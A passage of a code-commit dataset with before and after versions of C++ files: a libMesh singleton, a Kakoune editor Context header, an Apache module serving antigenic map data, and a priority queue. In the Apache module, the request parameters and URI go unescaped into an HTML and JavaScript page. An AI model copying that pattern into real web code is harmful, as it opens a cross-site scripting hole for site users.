NULL);\n\t(*it)->setup();\n }\n }\n\n\n\n void Singleton::cleanup ()\n {\n SingletonMutex::scoped_lock lock(singleton_mtx);\n\n SetupList& singleton_cache = get_singleton_cache();\n\n for (SingletonList::reverse_iterator it = singleton_cache.rbegin();\n\t it!=singleton_cache.rend(); ++it)\n {\n\tlibmesh_assert (*it != NULL);\n\tdelete *it;\n\t*it = NULL;\n }\n\n singleton_cache.clear();\n }\n\n\n\n} \/\/ namespace libMesh\n<commit_msg>Fix cut-n-paste typo<commit_after>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2013 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n\n\n\/\/ Local includes\n#include \"libmesh\/libmesh_singleton.h\"\n#include \"libmesh\/threads.h\"\n\n\/\/ C\/C++ includes\n#include <vector>\n\n\n\/\/ --------------------------------------------------------\n\/\/ Local anonymous namespace to hold miscelaneous bits\nnamespace\n{\n using namespace libMesh;\n\n \/\/ Mutex object for required locking\n typedef Threads::spin_mutex SingletonMutex;\n SingletonMutex singleton_mtx, setup_mtx;\n\n \/\/ global list of runtime Singleton objects - created dynamically,\n \/\/ cleaned up in reverse order.\n typedef std::vector<Singleton*> SingletonList;\n\n SingletonList& get_singleton_cache()\n {\n static SingletonList singleton_cache;\n return singleton_cache;\n }\n\n typedef std::vector<Singleton::Setup*> SetupList;\n SetupList& get_setup_cache()\n {\n static SetupList setup_cache;\n return setup_cache;\n }\n\n} \/\/ end anonymous namespace\n\n\n\n\/\/ --------------------------------------------------------\n\/\/ Local anonymous namespace to hold miscelaneous bits\nnamespace libMesh\n{\n\n Singleton::Singleton ()\n {\n SingletonMutex::scoped_lock lock(singleton_mtx);\n\n get_singleton_cache().push_back (this);\n }\n\n\n\n Singleton::Setup::Setup ()\n {\n SingletonMutex::scoped_lock lock(setup_mtx);\n\n get_setup_cache().push_back (this);\n }\n\n\n\n void Singleton::setup ()\n {\n SingletonMutex::scoped_lock lock(setup_mtx);\n\n SetupList& setup_cache = get_setup_cache();\n\n for (SetupList::iterator it = setup_cache.begin();\n\t it!=setup_cache.end(); ++it)\n {\n\tlibmesh_assert (*it != NULL);\n\t(*it)->setup();\n }\n }\n\n\n\n void Singleton::cleanup ()\n {\n SingletonMutex::scoped_lock lock(singleton_mtx);\n\n SingletonList& singleton_cache = get_singleton_cache();\n\n for (SingletonList::reverse_iterator it = singleton_cache.rbegin();\n\t it!=singleton_cache.rend(); ++it)\n {\n\tlibmesh_assert (*it != NULL);\n\tdelete *it;\n\t*it = NULL;\n }\n\n singleton_cache.clear();\n }\n\n\n\n} \/\/ namespace libMesh\n<|endoftext|>"} {"text":"<commit_before>#ifndef context_hh_INCLUDED\n#define context_hh_INCLUDED\n\n#include \"window.hh\"\n#include \"client.hh\"\n#include \"user_interface.hh\"\n\nnamespace Kakoune\n{\n\n\/\/ A Context is provided to all commands, it permits\n\/\/ to access a client, window, editor or buffer if available.\nstruct Context\n{\n Context() {}\n Context(Editor& editor)\n : m_editor(&editor) {}\n\n Context(Client& client)\n : m_client(&client) {}\n\n \/\/ to allow func(Context(Editor(...)))\n Context(Editor&& editor)\n : m_editor(&editor) {}\n\n Context(const Context&) = delete;\n Context& operator=(const Context&) = delete;\n\n Buffer& buffer() const\n {\n if (not has_buffer())\n throw runtime_error(\"no buffer in context\");\n return m_editor->buffer();\n }\n bool has_buffer() const { return (bool)m_editor; }\n\n Editor& editor() const\n {\n if (not has_editor())\n throw runtime_error(\"no editor in context\");\n return *m_editor.get();\n }\n bool has_editor() const { return (bool)m_editor; }\n\n Window& window() const\n {\n if (not has_window())\n throw runtime_error(\"no window in context\");\n return *dynamic_cast<Window*>(m_editor.get());\n }\n bool has_window() const { return (bool)m_editor and dynamic_cast<Window*>(m_editor.get()); }\n\n Client& client() const\n {\n if (not has_client())\n throw runtime_error(\"no client in context\");\n return *m_client;\n }\n bool has_client() const { return (bool)m_client; }\n\n UserInterface& ui() const\n {\n if (not has_ui())\n throw runtime_error(\"no user interface in context\");\n return *m_ui;\n }\n bool has_ui() const { return (bool)m_ui; }\n\n void change_editor(Editor& editor)\n {\n m_editor.reset(&editor);\n }\n\n void change_ui(UserInterface& ui)\n {\n m_ui.reset(&ui);\n }\n\n OptionManager& option_manager() const\n {\n if (has_window())\n return window().option_manager();\n if (has_buffer())\n return buffer().option_manager();\n return GlobalOptionManager::instance();\n }\n\n void draw_ifn() const\n {\n if (has_ui() and has_window())\n ui().draw_window(window());\n }\n\n void print_status(const String& status) const\n {\n if (has_ui())\n ui().print_status(status);\n }\n\n using Insertion = std::pair<InsertMode, std::vector<Key>>;\n Insertion& last_insert() { return m_last_insert; }\n\n int& numeric_param() { return m_numeric_param; }\nprivate:\n safe_ptr<Editor> m_editor;\n safe_ptr<Client> m_client;\n safe_ptr<UserInterface> m_ui;\n\n Insertion m_last_insert = {InsertMode::Insert, {}};\n int m_numeric_param = 0;\n};\n\n}\n#endif \/\/ context_hh_INCLUDED\n<commit_msg>Context: explicit constructors and more comments<commit_after>#ifndef context_hh_INCLUDED\n#define context_hh_INCLUDED\n\n#include \"window.hh\"\n#include \"client.hh\"\n#include \"user_interface.hh\"\n\nnamespace Kakoune\n{\n\n\/\/ A Context is used to access non singleton objects for various services\n\/\/ in commands.\n\/\/\n\/\/ The Context object links a Client, an Editor (which may be a Window),\n\/\/ and a UserInterface. It may represent an interactive user window, or\n\/\/ a hook execution or a macro replay.\nstruct Context\n{\n Context() {}\n explicit Context(Editor& editor)\n : m_editor(&editor) {}\n\n explicit Context(Client& client)\n : m_client(&client) {}\n\n \/\/ to allow func(Context(Editor(...)))\n \/\/ make sure the context will not survive the next ';'\n explicit Context(Editor&& editor)\n : m_editor(&editor) {}\n\n Context(const Context&) = delete;\n Context& operator=(const Context&) = delete;\n\n Buffer& buffer() const\n {\n if (not has_buffer())\n throw runtime_error(\"no buffer in context\");\n return m_editor->buffer();\n }\n bool has_buffer() const { return (bool)m_editor; }\n\n Editor& editor() const\n {\n if (not has_editor())\n throw runtime_error(\"no editor in context\");\n return *m_editor.get();\n }\n bool has_editor() const { return (bool)m_editor; }\n\n Window& window() const\n {\n if (not has_window())\n throw runtime_error(\"no window in context\");\n return *dynamic_cast<Window*>(m_editor.get());\n }\n bool has_window() const { return (bool)m_editor and dynamic_cast<Window*>(m_editor.get()); }\n\n Client& client() const\n {\n if (not has_client())\n throw runtime_error(\"no client in context\");\n return *m_client;\n }\n bool has_client() const { return (bool)m_client; }\n\n UserInterface& ui() const\n {\n if (not has_ui())\n throw runtime_error(\"no user interface in context\");\n return *m_ui;\n }\n bool has_ui() const { return (bool)m_ui; }\n\n void change_editor(Editor& editor)\n {\n m_editor.reset(&editor);\n }\n\n void change_ui(UserInterface& ui)\n {\n m_ui.reset(&ui);\n }\n\n OptionManager& option_manager() const\n {\n if (has_window())\n return window().option_manager();\n if (has_buffer())\n return buffer().option_manager();\n return GlobalOptionManager::instance();\n }\n\n void draw_ifn() const\n {\n if (has_ui() and has_window())\n ui().draw_window(window());\n }\n\n void print_status(const String& status) const\n {\n if (has_ui())\n ui().print_status(status);\n }\n\n using Insertion = std::pair<InsertMode, std::vector<Key>>;\n Insertion& last_insert() { return m_last_insert; }\n\n int& numeric_param() { return m_numeric_param; }\nprivate:\n safe_ptr<Editor> m_editor;\n safe_ptr<Client> m_client;\n safe_ptr<UserInterface> m_ui;\n\n Insertion m_last_insert = {InsertMode::Insert, {}};\n int m_numeric_param = 0;\n};\n\n}\n#endif \/\/ context_hh_INCLUDED\n<|endoftext|>"} {"text":"<commit_before>\/\/ -*- C++ -*-\n\n\/\/ httpd.conf:\n\/\/\n\/\/ LoadModule acmacs_module \"mod_acmacs.so\"\n\/\/ AddHandler acmacs .ace .save .save.xz .acd1 .acd1.xz\n\/\/\n\/\/ \/etc\/apache2\/envvars:\n\/\/\n\/\/ export ACMACSD_ROOT=\"\/home\/...\/AD\"\n\n#include <iostream>\n#include <string>\n#include <typeinfo>\n\n#include \"apache2\/httpd.h\"\n#include \"apache2\/http_core.h\"\n#include \"apache2\/http_protocol.h\"\n#include \"apache2\/http_request.h\"\n#include \"apache2\/http_log.h\"\n#include \"apache2\/util_script.h\"\n\n#include \"acmacs-base\/filesystem.hh\"\n#include \"acmacs-base\/gzip.hh\"\n#include \"acmacs-base\/range.hh\"\n#include \"acmacs-base\/virus-name.hh\"\n#include \"locationdb\/locdb.hh\"\n#include \"seqdb\/seqdb.hh\"\n#include \"acmacs-chart-2\/chart-modify.hh\"\n#include \"acmacs-chart-2\/factory-import.hh\"\n#include \"acmacs-chart-2\/ace-export.hh\"\n\nstatic void register_hooks(apr_pool_t *pool);\nstatic int acmacs_handler(request_rec *r);\nstatic void make_html(request_rec *r, const char* view_mode, const char* coloring);\nstatic void make_ace(request_rec *r);\n\n\/\/ ----------------------------------------------------------------------\n\nextern \"C\" module acmacs_module;\nextern \"C\" {\nmodule AP_MODULE_DECLARE_DATA acmacs_module = {\n STANDARD20_MODULE_STUFF, nullptr, nullptr, nullptr, nullptr, nullptr, register_hooks\n};\n}\nAPLOG_USE_MODULE(acmacs);\n\n#ifdef __clang__\n#pragma GCC diagnostic ignored \"-Wused-but-marked-unused\"\n#pragma GCC diagnostic ignored \"-Wformat-nonliteral\"\n#pragma GCC diagnostic ignored \"-Wunused-macros\"\n#endif\n\nstatic void register_hooks(apr_pool_t * \/*pool*\/) {\n ap_hook_handler(acmacs_handler, nullptr, nullptr, APR_HOOK_LAST);\n}\n\n#define AP_WARN APLOG_MARK, APLOG_WARNING, 0\n#define AP_ERR APLOG_MARK, APLOG_ERR, 0\n\n\/\/ ----------------------------------------------------------------------\n\n\n\/\/ ----------------------------------------------------------------------\n\nstatic int acmacs_handler(request_rec *r) {\n if (!r->handler || r->handler != std::string(\"acmacs\"))\n return DECLINED;\n\n apr_table_t *GET;\n ap_args_to_table(r, &GET);\n const char* acv_c = apr_table_get(GET, \"acv\");\n const std::string acv = acv_c ? acv_c : \"\";\n\n if (!fs::exists(fs::path(r->filename)))\n return HTTP_NOT_FOUND;\n\n try {\n if (acv == \"html\") {\n const char* view_mode = apr_table_get(GET, \"view-mode\");\n const char* coloring = apr_table_get(GET, \"coloring\");\n make_html(r, view_mode ? view_mode : \"best-projection\", coloring ? coloring : \"default\");\n }\n else if (acv == \"ace\") {\n make_ace(r);\n }\n else {\n return DECLINED;\n }\n return OK;\n }\n catch (std::exception& err) {\n ap_log_rerror(AP_ERR, r, \"%s: %s\", typeid(err).name(), err.what());\n return HTTP_INTERNAL_SERVER_ERROR;\n }\n return HTTP_INTERNAL_SERVER_ERROR;\n}\n\n\/\/ ----------------------------------------------------------------------\n\nstatic const char* sHtml = R\"(\n<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\" \/>\n <title>%s<\/title>\n <script src=\"https:\/\/code.jquery.com\/jquery-3.3.1.min.js\"><\/script>\n <script type=\"module\">\n import * as acv_m from \"\/js\/ad\/map-draw\/ace-view-1\/ace-view.js\";\n const options = {view_mode: \"%s\", coloring: \"%s\"};\n $(document).ready(() => new acv_m.AntigenicMapWidget($(\"#map1\"), \"%s?acv=ace\", options));\n <\/script>\n <\/head>\n <body>\n <div id=\"map1\"><\/div>\n <\/body>\n<\/html>\n)\";\n\nvoid make_html(request_rec *r, const char* view_mode, const char* coloring)\n{\n \/\/ ap_log_rerror(AP_WARN, r, \"uri: %s\", r->uri);\n \/\/ ap_log_rerror(AP_WARN, r, \"path_info: %s\", r->path_info);\n\n ap_set_content_type(r, \"text\/html\");\n ap_rprintf(r, sHtml, r->filename, view_mode, coloring, r->uri);\n\n} \/\/ make_html\n\n\/\/ ----------------------------------------------------------------------\n\nvoid make_ace(request_rec* r)\n{\n const auto& locdb = get_locdb(report_time::Yes);\n const auto& seqdb = seqdb::get(report_time::Yes);\n\n acmacs::chart::ChartModify chart(acmacs::chart::import_from_file(r->filename, acmacs::chart::Verify::None, report_time::No));\n auto antigens = chart.antigens_modify();\n\n \/\/ set continent info\n for (auto antigen_no : acmacs::range(antigens->size())) {\n auto& antigen = antigens->at(antigen_no);\n if (antigen.continent().empty()) {\n try {\n antigen.continent(locdb.continent(virus_name::location(antigen.name())));\n }\n catch (std::exception& err) {\n ap_log_rerror(AP_WARN, r, \"cannot figure out continent for \\\"%s\\\": %s\", antigen.name().data(), err.what());\n }\n catch (...) {\n ap_log_rerror(AP_WARN, r, \"cannot figure out continent for \\\"%s\\\": unknown exception\", antigen.name().data());\n }\n }\n }\n\n \/\/ set clade info\n for (auto antigen_no : acmacs::range(antigens->size())) {\n auto& antigen = antigens->at(antigen_no);\n try {\n const auto* entry_seq = seqdb.find_hi_name(antigen.full_name());\n if (entry_seq) {\n for (const auto& clade : entry_seq->seq().clades()) {\n antigen.add_clade(clade);\n }\n }\n }\n catch (std::exception& err) {\n ap_log_rerror(AP_WARN, r, \"cannot figure out clade for \\\"%s\\\": %s\", antigen.name().data(), err.what());\n }\n catch (...) {\n ap_log_rerror(AP_WARN, r, \"cannot figure out clade for \\\"%s\\\": unknown exception\", antigen.name().data());\n }\n }\n\n ap_set_content_type(r, \"application\/json\");\n r->content_encoding = \"gzip\";\n const auto exported = ace_export(chart, \"mod_acmacs\");\n const auto compressed = acmacs::file::gzip_compress(exported);\n ap_rwrite(compressed.data(), static_cast<int>(compressed.size()), r);\n\n} \/\/ make_ace\n\n\/\/ ----------------------------------------------------------------------\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/\/ Local Variables:\n\/\/\/ eval: (if (fboundp 'eu-rename-buffer) (eu-rename-buffer))\n\/\/\/ End:\n<commit_msg>exporting ace without json pretty printing for apache mod_acmacs<commit_after>\/\/ -*- C++ -*-\n\n\/\/ httpd.conf:\n\/\/\n\/\/ LoadModule acmacs_module \"mod_acmacs.so\"\n\/\/ AddHandler acmacs .ace .save .save.xz .acd1 .acd1.xz\n\/\/\n\/\/ \/etc\/apache2\/envvars:\n\/\/\n\/\/ export ACMACSD_ROOT=\"\/home\/...\/AD\"\n\n#include <iostream>\n#include <string>\n#include <typeinfo>\n\n#include \"apache2\/httpd.h\"\n#include \"apache2\/http_core.h\"\n#include \"apache2\/http_protocol.h\"\n#include \"apache2\/http_request.h\"\n#include \"apache2\/http_log.h\"\n#include \"apache2\/util_script.h\"\n\n#include \"acmacs-base\/filesystem.hh\"\n#include \"acmacs-base\/gzip.hh\"\n#include \"acmacs-base\/range.hh\"\n#include \"acmacs-base\/virus-name.hh\"\n#include \"locationdb\/locdb.hh\"\n#include \"seqdb\/seqdb.hh\"\n#include \"acmacs-chart-2\/chart-modify.hh\"\n#include \"acmacs-chart-2\/factory-import.hh\"\n#include \"acmacs-chart-2\/ace-export.hh\"\n\nstatic void register_hooks(apr_pool_t *pool);\nstatic int acmacs_handler(request_rec *r);\nstatic void make_html(request_rec *r, const char* view_mode, const char* coloring);\nstatic void make_ace(request_rec *r);\n\n\/\/ ----------------------------------------------------------------------\n\nextern \"C\" module acmacs_module;\nextern \"C\" {\nmodule AP_MODULE_DECLARE_DATA acmacs_module = {\n STANDARD20_MODULE_STUFF, nullptr, nullptr, nullptr, nullptr, nullptr, register_hooks\n};\n}\nAPLOG_USE_MODULE(acmacs);\n\n#ifdef __clang__\n#pragma GCC diagnostic ignored \"-Wused-but-marked-unused\"\n#pragma GCC diagnostic ignored \"-Wformat-nonliteral\"\n#pragma GCC diagnostic ignored \"-Wunused-macros\"\n#endif\n\nstatic void register_hooks(apr_pool_t * \/*pool*\/) {\n ap_hook_handler(acmacs_handler, nullptr, nullptr, APR_HOOK_LAST);\n}\n\n#define AP_WARN APLOG_MARK, APLOG_WARNING, 0\n#define AP_ERR APLOG_MARK, APLOG_ERR, 0\n\n\/\/ ----------------------------------------------------------------------\n\n\n\/\/ ----------------------------------------------------------------------\n\nstatic int acmacs_handler(request_rec *r) {\n if (!r->handler || r->handler != std::string(\"acmacs\"))\n return DECLINED;\n\n apr_table_t *GET;\n ap_args_to_table(r, &GET);\n const char* acv_c = apr_table_get(GET, \"acv\");\n const std::string acv = acv_c ? acv_c : \"\";\n\n if (!fs::exists(fs::path(r->filename)))\n return HTTP_NOT_FOUND;\n\n try {\n if (acv == \"html\") {\n const char* view_mode = apr_table_get(GET, \"view-mode\");\n const char* coloring = apr_table_get(GET, \"coloring\");\n make_html(r, view_mode ? view_mode : \"best-projection\", coloring ? coloring : \"default\");\n }\n else if (acv == \"ace\") {\n make_ace(r);\n }\n else {\n return DECLINED;\n }\n return OK;\n }\n catch (std::exception& err) {\n ap_log_rerror(AP_ERR, r, \"%s: %s\", typeid(err).name(), err.what());\n return HTTP_INTERNAL_SERVER_ERROR;\n }\n return HTTP_INTERNAL_SERVER_ERROR;\n}\n\n\/\/ ----------------------------------------------------------------------\n\nstatic const char* sHtml = R\"(\n<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\" \/>\n <title>%s<\/title>\n <script src=\"https:\/\/code.jquery.com\/jquery-3.3.1.min.js\"><\/script>\n <script type=\"module\">\n import * as acv_m from \"\/js\/ad\/map-draw\/ace-view-1\/ace-view.js\";\n const options = {view_mode: \"%s\", coloring: \"%s\"};\n $(document).ready(() => new acv_m.AntigenicMapWidget($(\"#map1\"), \"%s?acv=ace\", options));\n <\/script>\n <\/head>\n <body>\n <div id=\"map1\"><\/div>\n <\/body>\n<\/html>\n)\";\n\nvoid make_html(request_rec *r, const char* view_mode, const char* coloring)\n{\n \/\/ ap_log_rerror(AP_WARN, r, \"uri: %s\", r->uri);\n \/\/ ap_log_rerror(AP_WARN, r, \"path_info: %s\", r->path_info);\n\n ap_set_content_type(r, \"text\/html\");\n ap_rprintf(r, sHtml, r->filename, view_mode, coloring, r->uri);\n\n} \/\/ make_html\n\n\/\/ ----------------------------------------------------------------------\n\nvoid make_ace(request_rec* r)\n{\n const auto& locdb = get_locdb(report_time::Yes);\n const auto& seqdb = seqdb::get(report_time::Yes);\n\n acmacs::chart::ChartModify chart(acmacs::chart::import_from_file(r->filename, acmacs::chart::Verify::None, report_time::No));\n auto antigens = chart.antigens_modify();\n\n \/\/ set continent info\n for (auto antigen_no : acmacs::range(antigens->size())) {\n auto& antigen = antigens->at(antigen_no);\n if (antigen.continent().empty()) {\n try {\n antigen.continent(locdb.continent(virus_name::location(antigen.name())));\n }\n catch (std::exception& err) {\n ap_log_rerror(AP_WARN, r, \"cannot figure out continent for \\\"%s\\\": %s\", antigen.name().data(), err.what());\n }\n catch (...) {\n ap_log_rerror(AP_WARN, r, \"cannot figure out continent for \\\"%s\\\": unknown exception\", antigen.name().data());\n }\n }\n }\n\n \/\/ set clade info\n for (auto antigen_no : acmacs::range(antigens->size())) {\n auto& antigen = antigens->at(antigen_no);\n try {\n const auto* entry_seq = seqdb.find_hi_name(antigen.full_name());\n if (entry_seq) {\n for (const auto& clade : entry_seq->seq().clades()) {\n antigen.add_clade(clade);\n }\n }\n }\n catch (std::exception& err) {\n ap_log_rerror(AP_WARN, r, \"cannot figure out clade for \\\"%s\\\": %s\", antigen.name().data(), err.what());\n }\n catch (...) {\n ap_log_rerror(AP_WARN, r, \"cannot figure out clade for \\\"%s\\\": unknown exception\", antigen.name().data());\n }\n }\n\n ap_set_content_type(r, \"application\/json\");\n r->content_encoding = \"gzip\";\n const auto exported = ace_export(chart, \"mod_acmacs\", 0);\n const auto compressed = acmacs::file::gzip_compress(exported);\n ap_rwrite(compressed.data(), static_cast<int>(compressed.size()), r);\n\n} \/\/ make_ace\n\n\/\/ ----------------------------------------------------------------------\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/\/ Local Variables:\n\/\/\/ eval: (if (fboundp 'eu-rename-buffer) (eu-rename-buffer))\n\/\/\/ End:\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Added a comment.<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Reference : Chapter 6, \"Introduction to Algorithms 3rd ed\", aka CLRS.\n\/\/\n#pragma once\n\n#include <vector>\n#include <functional>\n#include <stdexcept>\n#include <algorithm>\n\nusing std::move;\nusing std::find_if;\n\nnamespace search\n{\n \/\/\n \/\/ parent\n \/\/ O(1)\n \/\/\n template<typename Iterator>\n auto inline parent(Iterator first, Iterator it) -> Iterator\n {\n return first + (it - first - 1) \/ 2;\n }\n \/\/\n \/\/ left_child\n \/\/ O(1)\n \/\/\n template<typename Iterator>\n auto inline left_child(Iterator first, Iterator last, Iterator it) -> Iterator\n {\n auto size = last - first;\n auto offset = 2 * (it - first) + 1;\n return offset > size ? last : first + offset;\n }\n \/\/\n \/\/ right_child\n \/\/ O(1)\n \/\/\n template<typename Iterator>\n auto inline right_child(Iterator first, Iterator last, Iterator it) -> Iterator\n {\n auto left = left_child(first, last, it);\n return left != last ? left + 1 : last;\n }\n \/\/\n \/\/ heapify\n \/\/ O(lg n)\n \/\/ maintain heap's peroperties with a float down way\n \/\/\n template<typename Iterator, typename CompareFunc>\n auto heapify(Iterator first, Iterator last, Iterator curr, CompareFunc && compare) -> void\n {\n while (true)\n {\n auto left = left_child(first, last, curr);\n auto right = right_child(first, last, curr);\n\n \/\/! find max or min amoung curr, left and right children, depending on the CommpareFunc passed in.\n auto max_min = (left != last && compare(*left, *curr)) ? left : curr;\n if (right != last && compare(*right, *max_min))\tmax_min = right;\n\n \/\/!\texchange.\n if (max_min != curr)\n {\n std::swap(*max_min, *curr);\n curr = max_min;\n }\n else\n {\n return;\n }\n }\n }\n \/\/\n \/\/ build_heap\n \/\/ O(n)\n \/\/\n template<typename Iterator, typename CompareFunc>\n auto inline build_heap(Iterator first, Iterator last, CompareFunc && compare) -> void\n {\n auto size = last - first;\n for (auto curr = first + size \/ 2 - 1; \/* *\/; --curr)\n {\n heapify(first, last, curr, compare);\n if (curr == first) return;\n }\n }\n\n template<typename Iterator, typename CompareFunc>\n auto inline sift_up(Iterator first, Iterator curr, CompareFunc && compare) -> bool\n {\n auto c = curr;\n auto p = [&] { return parent(first, c); };\n auto is_needed = [&] { return c != first && !compare(*p(), *c); };\n\n if (!is_needed()) return false;\n for (; is_needed(); c = p()) std::swap(*p(), *c);\n return true;\n }\n\n \/\/\n \/\/ PriorityQueue\n \/\/\n template<typename Value, typename CompareFunc>\n class PriorityQueue\n {\n public:\n using Vector = std::vector < Value >;\n using SizeType = typename Vector::size_type;\n using Iterator = typename Vector::iterator;\n\n PriorityQueue() = default;\n\n PriorityQueue(CompareFunc c)\n : _seq{}, _compare{ c }\n { }\n\n PriorityQueue(std::initializer_list<Value>&& list, CompareFunc&& c)\n : _seq(std::move(list)), _compare{ std::move(c) }\n {\n if (!empty())\n build_heap(_seq.begin(), _seq.end(), _compare);\n }\n\n template<typename Iterator>\n PriorityQueue(Iterator first, Iterator last, CompareFunc&& c)\n : _seq(first, last), _compare{ std::move(c) }\n {\n if (!empty())\n build_heap(_seq.begin(), _seq.end(), _compare);\n }\n\n auto top() const -> Value const&\n {\n return _seq.front();\n }\n\n auto size() const -> SizeType\n {\n return _seq.size();\n }\n\n auto empty() const -> bool\n {\n return _seq.empty();\n }\n\n auto contains(Value const& value) const -> bool\n {\n return _seq.cend() != std::find(_seq.cbegin(), _seq.cend(), value);\n }\n\n template<typename Predicate>\n auto any(Predicate predicate) const -> bool\n {\n return std::any_of(_seq.cbegin(), _seq.cend(), predicate);\n }\n\n auto push(Value const& new_val) -> void\n {\n \/\/ find the right place for new_val\n _seq.resize(size() + 1);\n auto curr = _seq.end() - 1;\n for (; curr > _seq.begin() && _compare(new_val, *parent(_seq.begin(), curr)); curr = parent(_seq.begin(), curr))\n *curr = *parent(_seq.begin(), curr);\n\n \/\/ insert\n *curr = new_val;\n }\n\n auto pop() -> Value\n {\n if (empty())\n throw std::underflow_error{ \"underflow.\" };\n auto popped = _seq.front();\n _seq.front() = _seq.back();\n _seq.resize(_seq.size() - 1);\n heapify(_seq.begin(), _seq.end(), _seq.begin(), _compare);\n\n return popped;\n }\n\n auto remove(Value const& item) -> void\n {\n auto it = std::find(_seq.begin(), _seq.end(), item);\n if (_seq.end() != it) \n remove(it);\n }\n \/\/\n \/\/ O(lg n)\n \/\/\n auto substitute(Value const& old_value, Value const& new_value) -> void\n {\n remove(old_value);\n push(new_value);\n }\n\n template<typename Predicate>\n auto update_with_if(Value const& new_value, Predicate predicate) -> void\n {\n auto iterator = find_if(_seq.begin(), _seq.end(), [&](Value const& value) {\n return predicate(value);\n });\n if (iterator != _seq.end() && _compare(new_value, *iterator))\n substitute(*iterator, new_value);\n }\n\n void reset()\n {\n _seq.clear();\n }\n\n void reset(CompareFunc && c)\n {\n _compare = move(c);\n reset();\n }\n\n private:\n Vector _seq;\n CompareFunc _compare;\n \/\/\n \/\/ Make sure vector is not empty.\n \/\/ O(lg n)\n \/\/\n template<typename Iterator>\n auto remove(Iterator at) -> void\n {\n std::swap(*at, *(_seq.end() - 1));\n if (!sift_up(_seq.begin(), at, _compare))\n heapify(_seq.begin(), _seq.end() - 1, at, _compare);\/\/avoid involving the last item.\n _seq.resize(size() - 1);\n }\n };\n}<commit_msg>polishing \tmodified: planning\/lib\/priority_queue.hpp<commit_after>\/\/\n\/\/ Reference : Chapter 6, \"Introduction to Algorithms 3rd ed\", aka CLRS.\n\/\/\n#pragma once\n\n#include <vector>\n#include <functional>\n#include <stdexcept>\n#include <algorithm>\n\nusing std::move;\nusing std::find_if;\nusing std::swap;\n\nnamespace search\n{\n \/\/\n \/\/ parent\n \/\/ O(1)\n \/\/\n template<typename Iterator>\n auto inline parent(Iterator first, Iterator it) -> Iterator\n {\n return first + (it - first - 1) \/ 2;\n }\n \/\/\n \/\/ left_child\n \/\/ O(1)\n \/\/\n template<typename Iterator>\n auto inline left_child(Iterator first, Iterator last, Iterator it) -> Iterator\n {\n auto size = last - first;\n auto offset = 2 * (it - first) + 1;\n return offset > size ? last : first + offset;\n }\n \/\/\n \/\/ right_child\n \/\/ O(1)\n \/\/\n template<typename Iterator>\n auto inline right_child(Iterator first, Iterator last, Iterator it) -> Iterator\n {\n auto left = left_child(first, last, it);\n return left != last ? left + 1 : last;\n }\n \/\/\n \/\/ heapify\n \/\/ O(lg n)\n \/\/ maintain heap's peroperties with a float down way\n \/\/\n template<typename Iterator, typename CompareFunc>\n auto heapify(Iterator first, Iterator last, Iterator curr, CompareFunc && compare) -> void\n {\n while (true)\n {\n auto left = left_child(first, last, curr);\n auto right = right_child(first, last, curr);\n\n \/\/! find max or min amoung curr, left and right children, depending on the CommpareFunc passed in.\n auto max_min = (left != last && compare(*left, *curr)) ? left : curr;\n if (right != last && compare(*right, *max_min))\tmax_min = right;\n\n if (curr == max_min) return;\n\n \/\/!\texchange.\n swap(*max_min, *curr);\n curr = max_min;\n }\n }\n \/\/\n \/\/ build_heap\n \/\/ O(n)\n \/\/\n template<typename Iterator, typename CompareFunc>\n auto inline build_heap(Iterator first, Iterator last, CompareFunc && compare) -> void\n {\n auto size = last - first;\n for (auto curr = first + size \/ 2 - 1; \/* *\/; --curr)\n {\n heapify(first, last, curr, compare);\n if (curr == first) return;\n }\n }\n\n template<typename Iterator, typename CompareFunc>\n auto inline sift_up(Iterator first, Iterator curr, CompareFunc && compare) -> bool\n {\n auto c = curr;\n auto p = [&] { return parent(first, c); };\n auto is_needed = [&] { return c != first && !compare(*p(), *c); };\n\n if (!is_needed()) return false;\n for (; is_needed(); c = p()) std::swap(*p(), *c);\n return true;\n }\n\n \/\/\n \/\/ PriorityQueue\n \/\/\n template<typename Value, typename CompareFunc>\n class PriorityQueue\n {\n public:\n using Vector = std::vector < Value >;\n using SizeType = typename Vector::size_type;\n using Iterator = typename Vector::iterator;\n\n PriorityQueue() = default;\n\n PriorityQueue(CompareFunc c)\n : _seq{}, _compare{ c }\n { }\n\n PriorityQueue(std::initializer_list<Value>&& list, CompareFunc&& c)\n : _seq(std::move(list)), _compare{ std::move(c) }\n {\n if (!empty())\n build_heap(_seq.begin(), _seq.end(), _compare);\n }\n\n template<typename Iterator>\n PriorityQueue(Iterator first, Iterator last, CompareFunc&& c)\n : _seq(first, last), _compare{ std::move(c) }\n {\n if (!empty())\n build_heap(_seq.begin(), _seq.end(), _compare);\n }\n\n auto top() const -> Value const&\n {\n return _seq.front();\n }\n\n auto size() const -> SizeType\n {\n return _seq.size();\n }\n\n auto empty() const -> bool\n {\n return _seq.empty();\n }\n\n auto contains(Value const& value) const -> bool\n {\n return _seq.cend() != std::find(_seq.cbegin(), _seq.cend(), value);\n }\n\n template<typename Predicate>\n auto any(Predicate predicate) const -> bool\n {\n return std::any_of(_seq.cbegin(), _seq.cend(), predicate);\n }\n\n auto push(Value const& new_val) -> void\n {\n \/\/ find the right place for new_val\n _seq.resize(size() + 1);\n auto curr = _seq.end() - 1;\n for (; curr > _seq.begin() && _compare(new_val, *parent(_seq.begin(), curr)); curr = parent(_seq.begin(), curr))\n *curr = *parent(_seq.begin(), curr);\n\n \/\/ insert\n *curr = new_val;\n }\n\n auto pop() -> Value\n {\n if (empty())\n throw std::underflow_error{ \"underflow.\" };\n auto popped = _seq.front();\n _seq.front() = _seq.back();\n _seq.resize(_seq.size() - 1);\n 